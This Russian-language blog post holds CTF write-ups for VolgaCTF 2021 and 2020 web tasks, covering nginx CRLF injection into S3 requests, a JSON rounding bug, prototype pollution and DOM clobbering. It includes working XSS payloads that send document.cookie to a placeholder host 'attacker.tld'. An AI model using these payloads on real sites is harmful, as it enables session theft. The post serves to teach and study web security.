29 марта 2021

VolgaCTF 2021 Quals / Online Wallet, Static Site writeups

Static Site

https://i.imgur.com/RWm3FRX.png

Задание представляет собой сайт, который состоит только из статики, часть из который подключается из Amazon S3 Bucket.

Идея взята из статьи Middleware, middleware everywhere - and lots of misconfigurations to fix. В случае, если в proxy_pass используются nginx переменные, содержащие перенос строки - это можно привести к CRLF Injection в запросе. Что особенно опасно при использовании Amazon S3, так как перезапись Host заголовка позволяет запросить файлы из произвольного bucket, созданного в том же регионе.

Это может произойти при использовании исключающих регулярных выражений

location ~ /docs/([^/]*/[^/]*)? {
    proxy_pass https://bucket.s3.amazonaws.com/docs-website/$1.html;
}

В задании использовался вариант с $uri, не упомянутый в статье. Данная переменная содержит нормализованное значение URI, переданное клиентом. Нормализация включает в себя преобразования относительных элементов пути "." и "..", замена повторяющихся "/" и url-декодирование.

location /static/ {
    proxy_pass https://volga-static-site.s3.amazonaws.com$uri;
}

Таким образом запрос /static/xss.html%20HTTP/1.0%0d%0aHost:attacker-s3-bucket%0d%0a%0d%0a будет отправлен следующим образом

GET /static/xss.html HTTP/1.0
Host:attacker-s3-bucket

 HTTP/1.1
Host: volga-static-site.s3.amazonaws.com

Что дает возможность атакующему вернуть свой HTML в контексте уязвимого сайта. Но Content Security Policy не позволял использовать inline script, поэтому для выполнения кода необходимо подключить еще один файл с использованием CRLF Injection.

Content Security Policy: ...; script-src 'self'...

Эксплуатация:

  • Создаем bucket в регионе us-east-1
  • Загружаем /static/xss.html
<script src="/static/xss.js%20HTTP/1.1%0d%0aHost:attacker-s3-bucket%0d%0a%0d%0a">
</script>
  • Загружаем /static/xss.js
location.replace('//attacker.tld/?' + document.cookie)
  • Отправляем боту ссылку
https://static-site.volgactf-task.ru/static/xss.html%20HTTP/1.1%0d%0aHost:attacker-s3-bucket%0d%0a%0d%0a

Многие остались недовольны тем, что необходимо угадывать регион для создания bucket, потому что иначе выдавало перенаправление с сообщением "Please re-send this request to the specified temporary endpoint". Это действительно вызывает проблемы при Subdomain Takeover, когда старый bucket был удален. Так как пересоздание bucket с таким же именем в другом регионе занимает около часа, пока Amazon синхронизирует информацию в своей огромной инфраструктуре. Но в данном случае узнать регион не составляет труда, так как Amazon публикует диапазоны IP всех своих сервисов по ссылке https://ip-ranges.amazonaws.com/ip-ranges.json

<?php
    $ip = gethostbyname($argv[1]);

    $ip_ranges = json_decode(file_get_contents('https://ip-ranges.amazonaws.com/ip-ranges.json'));

    foreach ($ip_ranges->prefixes as $prefix) {
        if(isset($prefix->ip_prefix)) {
            if(ip_in_network($ip, $prefix->ip_prefix))
                print("Service $prefix->service, region $prefix->region".PHP_EOL);
        }
    }

    function ip_in_network($ip, $range) {
        list($net_addr, $net_mask) = explode('/', $range);
        if($net_mask <= 0){ return false; }
            $ip_binary_string = sprintf("%032b", ip2long($ip));
            $net_binary_string = sprintf("%032b", ip2long($net_addr));
      return (substr_compare($ip_binary_string, $net_binary_string, 0, $net_mask) === 0);
    }
?>
> php amazon_region.php volga-static-site.s3.amazonaws.com

Service AMAZON, region us-east-1
Service S3, region us-east-1

Online Wallet (part 1)

https://i.imgur.com/9DUV5DR.png

Данное задание представляет собой онлайн кошелек с функциями создания и перевода средств между своими счетами. Для получения флага необходимо запросить вывод денег со счета, но он доступен только при отрицательном балансе или более 150 токенов. При регистрации создается кошелек с балансом 100.

Идея уязвимости была взята из статьи An Exploration of JSON Interoperability Vulnerabilities.

При переводе средств между счетами происходило 2 различных парсинга JSON тела запроса.
Первый раз с помощью node через body-parser

const bodyParser = require('body-parser')

app.use(bodyParser.json({verify: rawBody}))

const rawBody = function (req, res, buf, encoding) {
  if (buf && buf.length) {
    req.rawBody = buf.toString(encoding || 'utf8')
  }
}

И второй раз при совершении транзакции в MySQL. Поле transaction имело тип JSON.

transaction = await db.awaitQuery("INSERT INTO `transactions` (`transaction`) VALUES (?)", [req.rawBody])

await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` - `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.from_wallet' AND `transactions`.`id` = ?", [transaction.insertId])

await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` + `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.to_wallet' AND `transactions`.`id` = ?", [transaction.insertId])

Так как проверка баланса происходила в node, а выполнение транзакции в MySQL это вызывало следующие ошибки:

  • При переводе очень мелких сумм происходило пополнение второго кошелька, но баланс первого оставался 100 (объяснить это я затрудняюсь)

https://i.imgur.com/dVKTYZ2.png

https://i.imgur.com/vajdLZ9.png

https://i.imgur.com/b6Ic6kR.png

  • Из-за разных округлений в парсинге возможно было увести баланс в минус
Node
JSON.parse('{"amount":100000000000000000000000000000000000000000000000000000000000001E-60}').amount
100

MySQL
select json_extract('{"amount":100000000000000000000000000000000000000000000000000000000000001E-60}', '$.amount');
100.00000000000001

Таким образом, для получения флага достаточно было сделать 1 транзакцию. Но несмотря на мои попытки избавится от Race Condition, многие команды решили таск не так, как планировалось.

Online Wallet (part 2)

Во второй части задания участникам необходимо было сделать XSS и украсть cookie у бота.

В приложении была возможность смены языка, которая реализована загрузкой разной версии JS файла с Amazon S3 bucket.

<script src="https://volgactf-wallet.s3-us-west-1.amazonaws.com/locale_ru.js"></script>

Через параметр lang можно установить произвольное значение языка, но символы <>" обрабатывались корректно

<script src="https://volgactf-wallet.s3-us-west-1.amazonaws.com/locale_&lt;&gt;&#34;.js"></script>

Но, так как значение попадает в путь к скрипту, это позволяет подключить произвольный файл из данного bucket, используя следующее значение "?lang=/../foo".

<script src="https://volgactf-wallet.s3-us-west-1.amazonaws.com/locale_/../foo.js"></script>

За счет листинга можно посмотреть все файлы и обнаружить deparam.js
https://i.imgur.com/LIMTOL8.png

Данная библиотека преобразует параметры из location.search в объект. Используя подсказку в исходном коде можно было найти репозиторий, содержащий примеры библиотек, уязвимых к Prototype Pollution и гаджеты, с помощью которых можно продемонстрировать выполнение произвольного JS кода https://github.com/BlackFan/client-side-prototype-pollution. Однако стандартный вариант Prototype Pollution действительно не работает, потому что объект создается без прототипа.

https://i.imgur.com/m7pjTEq.png

https://i.imgur.com/rg9fzyL.png

Но фикс исправляет только создание объектов, а библиотека deparam поддерживает массивы, через которые аналогично можно добраться до прототипа объекта следующим образом

https://i.imgur.com/rF9X364.png

Используя создание полей в прототипе объекта, атакующий может изменять логику существующих скриптов на странице, что может привести к XSS. Искать фрагмент кода, который будет эксплуатироваться через Prototype Pollution можно двумя путями - от обращения к неинициализированному полю до уязвимого кода. И наоборот, сначала выделить небезопасные фрагменты кода, а потом искать неинициализированные поля, которые на него влияют.

В первом случае поможет скрипт pollute.js от Michał Bentkowski. Но в данном случае проще было выбрать второй путь и использовать untrusted-types от filedescriptor. При наведении курсора на кнопку "Deposit" появлялся tooltip и расширение untrusted-types предупреждало о небезопасном использовании innerHTML в jQuery.

https://i.imgur.com/yF8wnAF.png

И если взглянуть на функцию getTipElement, становится понятно, что для этого фрагмента кода уже есть готовый XSS PoC в репозитории.

  getTipElement() {
    this.tip = this.tip || $(this.config.template)[0]
    return this.tip
  }

https://i.imgur.com/tBw33vk.png

Но остается еще одна проблема - для отображения tooptip необходимо вызвать onfocus для данного элемента.

<span class="d-inline-block" tabindex="0" data-toggle="tooltip" title="Not implemented yet" id="depositButton">
    <button class="btn btn-primary" type="button" disabled style="pointer-events:none;" data-i18n="deposit">
        Deposit
    </button>
</span>

Это можно сделать загрузив сайт в iframe и обновив src с добавлением id элемента "#depositButton", в результате чего фокус будет переведен на кнопку и bootstrap отобразит tooltip.

Эксплуатация

  • Через параметр lang подключить deparam.js
  • Обойти фикс Prototype Pollution через массивы
  • Вызвать небезопасный фрагмент кода через onfocus
  • Использовать XSS гаджет для jQuery
<iframe name="xss" src="https://wallet.volgactf-task.ru/wallet?lang=/../deparam&x=x&x=x&x[__proto__][__proto__][div][0]=1&x[__proto__][__proto__][div][1]=%3Cimg/src/onerror%3dfetch(%27//attacker.tld/%27%2bdocument.cookie)%3E"></iframe>
<script>
setTimeout(function() {
    xss.location="https://wallet.volgactf-task.ru/wallet?lang=/../deparam&x=x&x=x&x[__proto__][__proto__][div][0]=1&x[__proto__][__proto__][div][1]=%3Cimg/src/onerror%3dfetch(%27//attacker.tld/%27%2bdocument.cookie)%3E#depositButton"
}, 2000)
</script>

Исходный код заданий: https://github.com/BlackFan/ctfs/tree/master/volgactf_2021_quals

01 февраля 2021

VolgaCTF 2020 / Notes writeup


Немного запоздавший разбор задания Notes из дополнительного конкурса финала VolgaCTF 2020.
Задание представляет собой сервис для создания заметок с поддержкой HTML тегов и смайлов.

https://i.imgur.com/vxFoQVj.png

Заголовок заметки позволяет использовать только текст и смайлы, а сам контент фильтруется с использованием jQuery и DOMPurify.

<h3>Title &lt;XSS&gt; <img class="smile" src="/static/smiles/dance.gif" name="dance"></h3>
<p id="content"></p>
...
<script>
var note = "Content\x20\x3CXSS\x3E\x20\x3Cimg\x20class\x3D\x22smile\x22\x20src\x3D\x22\x2Fstatic\x2Fsmiles\x2Fdance.gif\x22\x20name\x3D\x22dance\x22\x3E\x20";
$(document).ready(function() {
  try {
    $.globalEval("note = DOMPurify.sanitize(note)");
  } finally {
    content.innerHTML = note;
  }
});

Как видно из кода, для эксплуатации XSS необходимо, чтобы $.globalEval вернул исключение. Однако, сделать это через содержимое заметки довольно сложно, поэтому участникам необходимо было изучить реализацию остальных функций приложения, а именно - смайлов. Каждый смайл добавлялся в виде тега <img> с аттрибутом name . Добавление именованных img позволяет частично использовать технику DOM Clobbering.

То есть, создание заметки со смайлом :dance: приведет к созданию HTML тега <img name=dance> , который будет доступен в JavaScript через window.dance . Но именованные свойства поддерживаются не только объектом window , но и document, более того, используя это можно переопределить такие значения как document.cookie , document.documentElement , document.body и другие (https://html.spec.whatwg.org/multipage/dom.html#dom-document-namedItem-which).

https://i.imgur.com/gunkdMY.png

Рассмотрим, как именно выполняется функция $.globalEval

    function DOMEval( code, node, doc ) {
        doc = doc || document;
        var i, val,
            script = doc.createElement( "script" );
        script.text = code;
        ...
        doc.head.appendChild( script ).parentNode.removeChild( script );

Используя смайл :head: можно изменить логику выполнения данной функции и перезаписать document.head , но скрипт все равно выполнится корректно и DOMPurify удалит XSS.

https://i.imgur.com/zdVUw2Z.png

Но использование двух смайлов :head: :head: приведет к созданию HTMLCollection в document.head в результате чего вызов document.head.appendChild вернет исключение в $.globalEval и контент заметки не будет отфильтрован.

https://i.imgur.com/Ylq3MRn.png

Данная особенность позволяет изменять логику выполнения JS скриптов и приводит к забавным эффектам.
Пример (не относится к CTF таску):

<div id=x></div>
<iframe name=documentElement srcdoc='<a href="tel:<img/src/onerror=alert(1)>" id=clientWidth>a</a>'></iframe>
<script src="https://code.jquery.com/jquery-3.5.1.js"></script>
<script>
  $("#x").html('innerWidth:'+$(window).innerWidth()) //  == innerWidth:tel:<img/src/onerror=alert(1)>
</script>

Рекомендуемые ссылки:
https://portswigger.net/research/dom-clobbering-strikes-back
https://bugzilla.mozilla.org/show_bug.cgi?id=1420032
https://html.spec.whatwg.org/multipage/dom.html#dom-document-namedItem-which
https://medium.com/@terjanq/clobbering-the-clobbered-vol-2-fb199ad7ec41
https://blog.bi0s.in/2020/08/26/Web/GoogleCTF20-SafeHtmlPaste/